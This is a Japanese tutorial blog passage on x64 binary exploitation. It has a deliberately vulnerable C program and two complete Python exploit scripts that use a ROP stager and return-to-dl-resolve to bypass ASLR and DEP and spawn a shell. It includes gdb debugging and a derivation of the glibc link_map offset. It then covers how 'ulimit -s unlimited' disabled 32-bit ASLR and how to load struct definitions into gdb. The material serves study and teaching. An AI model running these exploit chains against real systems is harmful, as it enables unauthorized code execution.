x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる

「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、ASLR+DEPが有効なx86環境においてlibcバイナリに依存しない形でシェル起動を行った。 ここでは、ASLR+DEPが有効なx64環境において同様のシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    /* pop rdi; ret; pop rsi; ret; pop rdx; ret; */
    char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3";
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではrdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

エクスプロイトコードを書いてみる

まず、readelfコマンド、objdumpコマンド、rp++を使い、実行ファイルに関する情報を書き出す。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

$ ./rp-lin-x64 --file=a.out --rop=1 --unique > gadgets.txt

これらの情報をもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400420     # readelf -S a.out
addr_bss = 0x0000000000601028     # readelf -S a.out
addr_plt_read = 0x400440          # objdump -d -j.plt a.out
addr_got_read = 0x601008          # objdump -d -j.plt a.out

addr_pop_rdi = 0x0040054f         # 0x0040054f: pop rdi ; ret  ;  (1 found)
addr_pop_rsi = 0x00400551         # 0x00400551: pop rsi ; ret  ;  (1 found)
addr_pop_rdx = 0x00400557         # 0x00400557: pop rdx ; ret  ;  (1 found)
addr_pop_rbp = 0x00400512         # 0x00400512: pop rbp ; ret  ;  (3 found)
addr_leave_ret = 0x004005a6       # 0x004005a6: leave  ; ret  ;  (1 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 0)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 200)
buf1 += struct.pack('<Q', addr_plt_read)
buf1 += struct.pack('<Q', addr_pop_rbp)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_leave_ret)

addr_reloc = base_stage + 48
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', addr_cmd)
buf2 += struct.pack('<Q', addr_plt)
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_got_read)  # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)        # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (200-len(buf2))

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.wait()

このコードはオーバーフローさせるバッファのサイズを引数に取る。 コードの内容は基本的には「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」と同じであるが、以下の点において違いがある。

  • 関数呼び出しにおける引数は、スタックに並べる代わりにpop命令でレジスタにセットする
  • Elf32_Rel、Elf32_Sym構造体の代わりに、Elf64_Rela、Elf64_Sym構造体を使う
  • reloc_offsetの値がアドレスのオフセットではなく、Elf64_Rela構造体の配列インデックスとなる
  • 上の理由により、Elf64_Sym構造体と同様に、Elf64_Rela構造体を置くアドレスが構造体サイズの倍数の位置になるよう調整する必要がある

Elf64_Rela、Elf64_Sym構造体の定義は次のようになっている。

typedef uint32_t Elf64_Word;
typedef uint64_t Elf64_Xword;
typedef int64_t  Elf64_Sxword;
typedef uint64_t Elf64_Addr;
typedef uint16_t Elf64_Section;

typedef struct
{
  Elf64_Addr    r_offset;               /* Address */
  Elf64_Xword   r_info;                 /* Relocation type and symbol index */
  Elf64_Sxword  r_addend;               /* Addend */
} Elf64_Rela;

typedef struct
{
  Elf64_Word    st_name;                /* Symbol name (string tbl index) */
  unsigned char st_info;                /* Symbol type and binding */
  unsigned char st_other;               /* Symbol visibility */
  Elf64_Section st_shndx;               /* Section index */
  Elf64_Addr    st_value;               /* Symbol value */
  Elf64_Xword   st_size;                /* Symbol size */
} Elf64_Sym;

引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'

x86の場合と異なり、うまく動いていないことがわかる。

動かない原因を調べてみる

gdbを使い、エクスプロイトコードが送り込まれた後の様子を調べてみる。

$ gdb -q --args python exploit.py 100
Reading symbols from /usr/bin/python...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /usr/bin/python exploit.py 100
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New process 5551]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 5551 is executing new program: /home/user/tmp/a.out
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5551]
0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) x/i $pc
=> 0x7ffff7de86fa:      movzx  esi,WORD PTR [r8+rsi*2]
(gdb) i r
rax            0x7ffff7ffe2c8   0x7ffff7ffe2c8
rbx            0x0      0x0
rcx            0x0      0x0
rdx            0x601888 0x601888
rsi            0x1563e  0x1563e
rdi            0x400330 0x400330
rbp            0x0      0x0
rsp            0x6017b8 0x6017b8
r8             0x400374 0x400374
r9             0x600f70 0x600f70
r10            0x4002b8 0x4002b8
r11            0x246    0x246
r12            0x601008 0x601008
r13            0x7fffffffe720   0x7fffffffe720
r14            0x0      0x0
r15            0x0      0x0
rip            0x7ffff7de86fa   0x7ffff7de86fa
eflags         0x10202  [ IF RF ]
cs             0x33     0x33
ss             0x2b     0x2b
ds             0x0      0x0
es             0x0      0x0
fs             0x0      0x0
gs             0x0      0x0
(gdb) p/x $r8+$rsi*2
$1 = 0x42aff0
(gdb) x/gx $r8+$rsi*2
0x42aff0:       Cannot access memory at address 0x42aff0
(gdb) i proc map
process 5551
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/user/tmp/a.out
            0x600000           0x601000     0x1000        0x0 /home/user/tmp/a.out
            0x601000           0x602000     0x1000     0x1000 /home/user/tmp/a.out
            ...

ここで、set follow-fork-mode childによりfork後、子プロセスとなるa.outの様子を表示していることに注意する。 上の結果から、_dl_fixup関数において$r8+$rsi*2 == 0x42aff0のアドレスを参照しようとした結果、セグメンテーション違反により落ちていることがわかる。

前後の処理を確認するため、_dl_fixup関数に対応するアセンブリコードを表示してみる。

(gdb) bt
#0  0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2
#1  0x00007ffff7def235 in ?? () from /lib64/ld-linux-x86-64.so.2
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x0000000000601008 in write@got.plt ()
#6  0x0001563e00000007 in ?? ()
#7  0x0000000000000000 in ?? ()
(gdb) x/10i 0x00007ffff7def235-10
   0x7ffff7def22b:      mov    rdi,QWORD PTR [rsp+0x38]
   0x7ffff7def230:      call   0x7ffff7de8680
   0x7ffff7def235:      mov    r11,rax
   0x7ffff7def238:      mov    r9,QWORD PTR [rsp+0x30]
   0x7ffff7def23d:      mov    r8,QWORD PTR [rsp+0x28]
   0x7ffff7def242:      mov    rdi,QWORD PTR [rsp+0x20]
   0x7ffff7def247:      mov    rsi,QWORD PTR [rsp+0x18]
   0x7ffff7def24c:      mov    rdx,QWORD PTR [rsp+0x10]
   0x7ffff7def251:      mov    rcx,QWORD PTR [rsp+0x8]
   0x7ffff7def256:      mov    rax,QWORD PTR [rsp]
(gdb) x/50i 0x7ffff7de8680
   0x7ffff7de8680:      push   r13
   0x7ffff7de8682:      mov    rax,rdi
   0x7ffff7de8685:      mov    esi,esi
   0x7ffff7de8687:      lea    rcx,[rsi+rsi*2]
   0x7ffff7de868b:      push   r12
   0x7ffff7de868d:      shl    rcx,0x3
   0x7ffff7de8691:      push   rbp
   0x7ffff7de8692:      push   rbx
   0x7ffff7de8693:      sub    rsp,0x28
   0x7ffff7de8697:      mov    rdx,QWORD PTR [rdi+0x68]
   0x7ffff7de869b:      mov    r9,QWORD PTR [rax+0x70]
   0x7ffff7de869f:      mov    rbp,QWORD PTR [rax]
   0x7ffff7de86a2:      mov    rdi,QWORD PTR [rdx+0x8]
   0x7ffff7de86a6:      mov    rdx,QWORD PTR [rax+0xf8]
   0x7ffff7de86ad:      mov    r10,QWORD PTR [r9+0x8]
   0x7ffff7de86b1:      add    rcx,QWORD PTR [rdx+0x8]
   0x7ffff7de86b5:      mov    r8,QWORD PTR [rcx+0x8]
   0x7ffff7de86b9:      mov    r12,QWORD PTR [rcx]
   0x7ffff7de86bc:      mov    rsi,r8
   0x7ffff7de86bf:      shr    rsi,0x20
   0x7ffff7de86c3:      cmp    r8d,0x7
   0x7ffff7de86c7:      lea    rdx,[rsi+rsi*2]
   0x7ffff7de86cb:      lea    rdx,[r10+rdx*8]
   0x7ffff7de86cf:      mov    QWORD PTR [rsp+0x10],rdx
   0x7ffff7de86d4:      jne    0x7ffff7de8834
   0x7ffff7de86da:      movzx  ecx,BYTE PTR [rdx+0x5]
   0x7ffff7de86de:      and    ecx,0x3
   0x7ffff7de86e1:      jne    0x7ffff7de882c
   0x7ffff7de86e7:      mov    r9,QWORD PTR [rax+0x1c8]
   0x7ffff7de86ee:      xor    r8d,r8d
   0x7ffff7de86f1:      test   r9,r9
   0x7ffff7de86f4:      je     0x7ffff7de871f
   0x7ffff7de86f6:      mov    r8,QWORD PTR [r9+0x8]
=> 0x7ffff7de86fa:      movzx  esi,WORD PTR [r8+rsi*2]
   0x7ffff7de86ff:      and    esi,0x7fff
   0x7ffff7de8705:      lea    r8,[rsi+rsi*2]
   0x7ffff7de8709:      mov    rsi,QWORD PTR [rax+0x2e0]
   0x7ffff7de8710:      lea    r8,[rsi+r8*8]
   0x7ffff7de8714:      mov    r9d,DWORD PTR [r8+0x8]
   0x7ffff7de8718:      test   r9d,r9d
   0x7ffff7de871b:      cmove  r8,rcx
   0x7ffff7de871f:      mov    ecx,DWORD PTR fs:0x18
   0x7ffff7de8727:      test   ecx,ecx
   0x7ffff7de8729:      jne    0x7ffff7de8816
   0x7ffff7de872f:      mov    esi,0x1
   0x7ffff7de8734:      mov    r13d,DWORD PTR fs:0x4c
   0x7ffff7de873d:      mov    DWORD PTR fs:0x4c,0x1
   0x7ffff7de8749:      mov    edx,DWORD PTR [rdx]
   0x7ffff7de874b:      mov    rcx,QWORD PTR [rax+0x380]
   0x7ffff7de8752:      mov    r9d,0x1

この内容とレジスタの値をもとに実際のソースコードを見てみると、落ちている箇所が次の部分に対応することがわかる。

      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }

これはアドレス解決を行うシンボルのバージョン情報を取得する部分であり、プログラムはvernum[ELFW(R_SYM) (reloc->r_info)]の箇所で落ちている。 そこで、この処理をスキップするため、if文の条件になっているl->l_info[VERSYMIDX (DT_VERSYM)]がNULLとなるようにメモリを書き換えることを考える。 なお、バージョン情報がない場合もライブラリ側で指定された特定のバージョン(一般に最新バージョン)が選択されることになるため、動作にはほとんど影響はない。

l->l_info[VERSYMIDX (DT_VERSYM)]は、アセンブリコード中で[rax+0x1c8]の形で参照されている。 また、raxレジスタにはlink_map構造体lのアドレスが入っており、これは実行ファイルのGOTセクションの2ワード目に入っている値である。 以上をもとに、エクスプロイトコードを次のように修正することを考える。

  1. GOTセクションの2ワード目の値、すなわちlink_map構造体のアドレスをwrite@plt関数により書き出す
  2. read@plt関数でデータを読み込み、stack pivotを行う
  3. 書き出されたlink_map構造体のアドレス+0x1c8の場所に、read@plt関数を使いNULL (=0) を書き込む
  4. Return-to-dl-resolveを行う

エクスプロイトコードを修正してみる

上の内容に従い、エクスプロイトコードを修正すると次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400420     # readelf -S a.out
addr_got = 0x0000000000600fe8     # readelf -S a.out
addr_bss = 0x0000000000601028     # readelf -S a.out
addr_plt_read = 0x400440          # objdump -d -j.plt a.out
addr_plt_write = 0x400430         # objdump -d -j.plt a.out
addr_got_read = 0x601008          # objdump -d -j.plt a.out

addr_pop_rdi = 0x0040054f         # 0x0040054f: pop rdi ; ret  ;  (1 found)
addr_pop_rsi = 0x00400551         # 0x00400551: pop rsi ; ret  ;  (1 found)
addr_pop_rdx = 0x00400557         # 0x00400557: pop rdx ; ret  ;  (1 found)
addr_pop_rbp = 0x00400512         # 0x00400512: pop rbp ; ret  ;  (3 found)
addr_leave_ret = 0x004005a6       # 0x004005a6: leave  ; ret  ;  (1 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 1)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', addr_got+8)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 8)
buf1 += struct.pack('<Q', addr_plt_write)
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 0)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 200)
buf1 += struct.pack('<Q', addr_plt_read)
buf1 += struct.pack('<Q', addr_pop_rbp)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_leave_ret)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_link_map = %x" % addr_link_map
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 104
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_dt_versym)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', addr_cmd)
buf2 += struct.pack('<Q', addr_plt)
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_got_read)  # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)        # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (200-len(buf2))

p.stdin.write(buf2)
p.stdin.write(struct.pack('<Q', 0))
p.wait()

引数をセットして実行してみる。

$ python exploit2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00O\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 7f036bb002c8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

必要なROP gadgetが揃っているという条件のもと、ASLR+DEPが有効なx64環境下において、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

オフセット0x1c8の詳細を調べてみる

最後に、[rax+0x1c8]のオフセット0x1c8の詳細について調べてみる。 すでに述べたように、これはlink_map構造体lに対してl->l_info[VERSYMIDX (DT_VERSYM)]の値に対応するものである。

l_infoはlink_map構造体においてglibc内部でのみ利用されるメンバであり、次のように定義されている。

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;      /* Base address shared object is loaded at.  */
    char *l_name;       /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;        /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */

    /* All following members are internal to the dynamic linker.
       They may change without notice.  */

    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;

    /* Number of the namespace this link map belongs to.  */
    Lmid_t l_ns;

    struct libname_list *l_libname;
    /* Indexed pointers to dynamic section.
       [0,DT_NUM) are indexed by the processor-independent tags.
       [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
       [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
       indexed by DT_VERSIONTAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
    DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
       DT_EXTRATAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
    DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
       indexed by DT_VALTAGIDX(tagvalue) and
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
    DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
       are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>.  */

    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
              + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

    (snip)

  };

ここで、Lmid_tの定義は次のようになっている。

/* Type for namespace indeces.  */
typedef long int Lmid_t;

ElfW(Addr) == Elf64_Addr == uint64_tであること、ポインタのサイズが8バイトであることより、link_map構造体においてl_infoはオフセット64の位置にあることがわかる。 ただし、コメントにあるようにl_real以下のメンバの配置はglibcのバージョンによって変わる可能性がある。

l_infoはdynamicセクションに置かれたElf64_Dyn構造体を指すポインタの配列である。 ここで、参照されているインデックス値VERSYMIDX (DT_VERSYM)に関する定義をまとめると、次のようになる。

#ifndef VERSYMIDX
# define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (sym))
#endif
#define DT_NUM          34              /* Number used */
#define DT_VERSYM       0x6ffffff0
#define DT_VERNEEDNUM   0x6fffffff      /* Number of needed versions */
#define DT_VERSIONTAGIDX(tag)   (DT_VERNEEDNUM - (tag)) /* Reverse order! */

DT_THISPROCNUMの値はアーキテクチャごとに異なるが、x64の場合は0となっている。

/* Number of extra dynamic section entries for this architecture.  By
   default there are none.  */
#define DT_THISPROCNUM  0

以上より、l->l_info[VERSYMIDX (DT_VERSYM)]を表すアドレスは次のようになる。

l->l_info[VERSYMIDX (DT_VERSYM)]
== &l + 64 + 8 * (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (DT_VERSYM))
== &l + 64 + 8 * (34 + 0 + (0x6fffffff - 0x6ffffff0))
== &l + 0x1c8

これはアセンブリコード中の[rax+0x1c8]に一致している。

なお、svnのannotate情報を見ると、このオフセットはRevision 4(2006/08/16、glibc 2.4)から変化していないことがわかる。

関連リンク

ulimit -s unlimitedによる32bit ASLR無効化

一般に、ASLRはsysctlコマンドなどでカーネルパラメータを変更することにより有効化・無効化できる。

$ sudo sysctl -w kernel.randomize_va_space=2  # enable
kernel.randomize_va_space = 2

$ sudo sysctl -w kernel.randomize_va_space=0  # disable
kernel.randomize_va_space = 0

この操作にはroot権限が必要であり、一般ユーザの権限では変更できない。

起動時にsetarchコマンドを使うことで、特定のプロセスのみASLRを無効化する方法もある。

$ setarch i686 -R ./a.out

この操作はroot権限を必要としないが、通常の手順で起動されるプロセスには適用できない。

しかし32bit環境の場合、rlimitコマンドでスタックサイズを無限にすると、以降に起動されるプロセスすべてでASLRが無効になる。

$ ulimit -s unlimited

この操作は一般ユーザ権限でも行うことができる。 また、プログラム中でsetrlimit(RLIMIT_STACK, {RLIM_INFINITY, RLIM_INFINITY})を呼ぶことでも同じ効果が得られる。 なお、64bit環境の場合にはASLRは無効にならない。

これは、Linuxカーネルの実装によるものであり、具体的には次のコードに対応する。

static int mmap_is_legacy(void)
{
        if (current->personality & ADDR_COMPAT_LAYOUT)
                return 1;

        if (rlimit(RLIMIT_STACK) == RLIM_INFINITY)
                return 1;

        return sysctl_legacy_va_layout;
}

RLIMIT_STACKがRLIM_INFINITYの場合、mmap_is_legacyはtrueとなる。 そして、mmap_is_legacyは次の箇所で呼ばれている。

/*
 * This function, called very early during the creation of a new
 * process VM image, sets up which VM layout function to use:
 */
void arch_pick_mmap_layout(struct mm_struct *mm)
{
        mm->mmap_legacy_base = mmap_legacy_base();
        mm->mmap_base = mmap_base();

        if (mmap_is_legacy()) {
                mm->mmap_base = mm->mmap_legacy_base;
                mm->get_unmapped_area = arch_get_unmapped_area;
        } else {
                mm->get_unmapped_area = arch_get_unmapped_area_topdown;
        }
}

mm->mmap_baseは、mmap_is_legacyがtrueの場合mmap_legacy_base()の返り値、falseの場合mmap_base()の返り値となっている。 これらの実装は次のようになっている。

static unsigned long mmap_rnd(void)
{
        unsigned long rnd = 0;

        /*
        *  8 bits of randomness in 32bit mmaps, 20 address space bits
        * 28 bits of randomness in 64bit mmaps, 40 address space bits
        */
        if (current->flags & PF_RANDOMIZE) {
                if (mmap_is_ia32())
                        rnd = get_random_int() % (1<<8);
                else
                        rnd = get_random_int() % (1<<28);
        }
        return rnd << PAGE_SHIFT;
}

static unsigned long mmap_base(void)
{
        unsigned long gap = rlimit(RLIMIT_STACK);

        if (gap < MIN_GAP)
                gap = MIN_GAP;
        else if (gap > MAX_GAP)
                gap = MAX_GAP;

        return PAGE_ALIGN(TASK_SIZE - gap - mmap_rnd());
}

/*
 * Bottom-up (legacy) layout on X86_32 did not support randomization, X86_64
 * does, but not when emulating X86_32
 */
static unsigned long mmap_legacy_base(void)
{
        if (mmap_is_ia32())
                return TASK_UNMAPPED_BASE;
        else
                return TASK_UNMAPPED_BASE + mmap_rnd();
}

上の内容から、mmap_is_ia32()がtrue、つまり32bit環境の場合mmap_legacy_base()が返すアドレスが固定となっていることがわかる。 また、mmap_rnd()の実装から、32bit環境では8bit、64bit環境では28bitのランダム化が行われていることがわかる。

追記(2016-11-16)

この動作はLinux kernel 4.5で修正された。

関連リンク

gdbに構造体定義を読み込ませて使う

ヘッダファイルなどから構造体の定義などがわかっているとき、gdbにこれを読み込ませることでメモリ内容を構造体定義に合わせて表示させることができる。 これを行うには、gccデバッグ情報付きのオブジェクトを作った後、gdbのadd-symbol-fileコマンドで読み込ませればよい。 ここでは、link.hおよび内部でインクルードされるelf.hを使って、実行時のELFセクションの内容をたどってみる。

まずはヘッダファイルをC言語ソースとみなして、デバッグ情報付きでオブジェクトファイルにする。 ここでは、コンパイルまでを行いリンクは行わないので、-cオプションをつける。 さらに、-fno-eliminate-unused-debug-typesオプションを使い、変数宣言されていない型もデバッグ情報に含めるようにする。

$ gcc -g -fno-eliminate-unused-debug-types -x c -c /usr/include/link.h -o link.o

適当な実行ファイルをgdbで実行し、作成したオブジェクトファイルをadd-symbol-fileコマンドで読み込ませる。 add-symbol-fileは第2引数として対応するファイルのベースアドレスを指定する必要があるが、ここではシンボル情報は利用しないので適当でよい。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set print array on
(gdb) set print array-indexes on
(gdb) set output-radix 16.
Output radix now set to decimal 16, hex 10, octal 20.
(gdb) add-symbol-file link.o 0
add symbol table from file "link.o" at
        .text_addr = 0x0
(y or n) y
Reading symbols from /home/user/tmp/link.o...done.

ここでは、合わせて配列の整形表示およびインデックス表示と、数値出力の16進表示設定も行っている。 これで、link.hに定義された構造体情報は読み込まれたので、あとはメモリアドレスから構造体をたどっていくことができる。

(gdb) start
Temporary breakpoint 1 at 0x8048407
Starting program: /home/user/tmp/a.out

Temporary breakpoint 1, 0x08048407 in main ()
(gdb) i files
        0x08049f08 - 0x08049fe0 is .dynamic
